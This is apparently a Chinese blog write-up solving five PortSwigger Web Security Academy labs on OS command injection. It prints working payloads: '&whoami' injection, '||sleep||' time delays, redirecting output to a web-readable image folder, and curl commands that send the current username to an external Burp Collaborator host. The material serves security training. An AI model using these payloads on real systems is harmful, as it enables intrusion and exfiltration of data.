Portswigger web security academy:OS command injection
Portswigger web security academy:OS command injection
OS command injection, simple case
题目描述
环境中的web应用运行了一个包含产品和店铺id的命令行,并且会返回命令执行结果
要求运行
whoami来确认当前用户身份
解题过程
先找注入点
找到注入点在选地区,查剩余库存的功能点(check stock)
注入
burp拦截,
productId=3%26echo 123&storeId=2返回123 2,说明存在命令注入
构造payload
productId=3%26whoami&storeId=2,报错,提示多余的操作符2,emmmm,说明会进行2也拼接到了语句里修改
productId=3%26whoami%26echo &storeId=2
Blind OS command injection with time delays
题目描述
在
feedback功能中有命令注入(盲注):用户输入会被执行,但没有返回要求
产生10秒的延时
解题过程
先去搜索了一下linux下的延迟命令
- 找到一个
sleep num[s/m/h/d]
- 找到一个
用burp抓包,经过测试,发现email参数异常,当其中包含有
& | ; %0a `或者它们的url编码时会返回Could not save- 在没有思路的时候,我返回去看了下第一题,发现最后参数处理不好,会产生报错,猜测这里也有报错,需要把前后参数都拼接好才行
尝试
|sleep%2010s|
仍然报错,但是可以看到命令已经成功运行,猜测是管道符
|导致的参数错误再次尝试,
||sleep%20100s||,成功且没有报错
Blind OS command injection with out put redirection
题目描述
- 在
feedback功能点存在命令注入(盲注) /var/www/images/目录有可写权限,并且图片会被加载到商品详情页面- 要求把
whoami的结果重定向到上述目录,并拿到结果
- 在
解题过程
寻找打开图片的接口

/image?filename=xx.jpg
寻找漏洞点
使用上一题的payload,发现漏洞点仍然在email

构造payload并执行
||whoami%20>/var/www/images/1.jpg||利用图片接口,获得结果

Blind OS command injection with out-of-band interaction
题目描述
- 在
feedback功能点存在命令注入(盲注) - 输入的命令会异步执行,从返回中不会得到任何信息,并且无法将结果重定向到可以访问到的目录,但可以使用外带(out-of-band)
- 要求执行一个
DNS lookup,(利用collaborator)
- 在
解题过程
直接构造payload
||curl%20xxx.burpcollaborator.net||即可
但是它没有回显,感觉不舒服,于是乎尝试了一下通过参数拼接来获得命令运行结果
最终的payload:
||a=whoami;curl%20"xxx.burpcollaborator.net/"`$a`||
在尝试&和yt交流之后,发现以下payload也可以:
a=whoami;curl xxx.xxx/`$a`a=`whoami`;curl xxx.xxx/$a
curl xxx.xxx/`whoami`这样最简单
Blind OS command injection with out-of-band data exfiltration
题目描述
- 在
feedback功能点存在命令注入(盲注) - 输入的命令会异步执行,从返回中不会得到任何信息,并且无法将结果重定向到可以访问到的目录,但可以使用外带(out-of-band)得到结果
- 要求通过外带获得当前用户名(这不就是我上道题最后做的吗)
- 在
解题过程
直接用上道题最后的payload即可
||a=whoami;curl%20xxx.burpcollaborator.net/`$a`||(更新)
||curl%20xxx.burpcollaborator.net/`whoami`||
Portswigger web security academy:OS command injection的更多相关文章
- Portswigger web security academy:Server-side template injection(SSTI)
Portswigger web security academy:Server-side template injection(SSTI) 目录 Portswigger web security ac ...
- Portswigger web security academy:XML external entity (XXE) injection
Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...
- Portswigger web security academy:SQL injection
Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...
- Portswigger web security academy:WebSockets
Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...
- Portswigger web security academy:Clickjacking (UI redressing)
Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...
- Portswigger web security academy:Cross-origin resource sharing (CORS)
Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...
- Portswigger web security academy:Cross-site request forgery (CSRF)
Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...
- Portswigger web security academy:OAth authentication vulnerable
Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...
- Portswigger web security academy:Server-side request forgery (SSRF)
Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...
随机推荐
- 如何使用jQuery $.post() 方法实现前后台数据传递
基础方法为 $.post(URL,data,callback); 参数介绍: 1.URL 参数规定您希望请求的 URL. 2.data 参数规定连同请求发送的数据. 3.callback 参数是请求成 ...
- 如何对shell脚本中斜杠进行转义?
1.在编写shell脚本时,经常会遇到对某个路径进行替换,而路径中包含斜杠(/),此时我们就需要对路径中涉及的斜杠进行转义,否则执行失败.具体示例如下: 需求描述: 将sjk目录下的test文件中的p ...
- HTML标签解读
因为最近在学习爬虫,那么在爬取网页内容时,就要求我们能够简单的看懂这个网页的基本结构,才能更好的去爬取我们所需要的内容. 这篇随笔也只是简单的说明了一些标签的含义. 标签关系 包含关系 eg:< ...
- Docker 专题总结
Docker 专题总结 Docker 的基本命令 启动 Docker $ systemctl start docker 停止Docker $ systemctl stop docker 重启Docke ...
- OpenCV 之 图象几何变换
二维平面中,图像的几何变换有等距.相似.仿射.投影等,如下所示: 1 图象几何变换 1.1 等距变换 等距变换 (Isometric Transformation),是一种二维的刚体变换,可理解为 ...
- Powerful Number 筛学习笔记
Powerful Number 筛学习笔记 用途 \(Powerful\ number\) 筛可以用来求出一类积性函数的前缀和,最快可以达到根号复杂度. 实现 \(Powerful\ number\) ...
- vue-i18n 国际化语言切换
vue-i18n 用于前端vue项目中,需要多语言切换的场景 安装方法(npm) npm install vue-i18n 简单使用 1.在vue项目的main.ts文件中实例化 i18n imp ...
- 前端 | JS 任务和微任务:promise 的回调和 setTimeout 的回调到底谁先执行?
首先提一个小问题:运行下面这段 JS 代码后控制台的输出是什么? console.log("script start"); setTimeout(function () { con ...
- CDN域名解析问题
CDN域名解析问题 之前配置CDN域名解析,碰到一个配置带www的域名和不带www的域名,这里就有个解析的坑,已经将cdn域名都配置好的,但是一直访问不了,白屏现象 后面排除源站问题和cdn配置问题, ...
- docker部署kafka集群
利用docker可以很方便的在一台机子上搭建kafka集群并进行测试.为了简化配置流程,采用docker-compose进行进行搭建. kafka搭建过程如下: 编写docker-compose.ym ...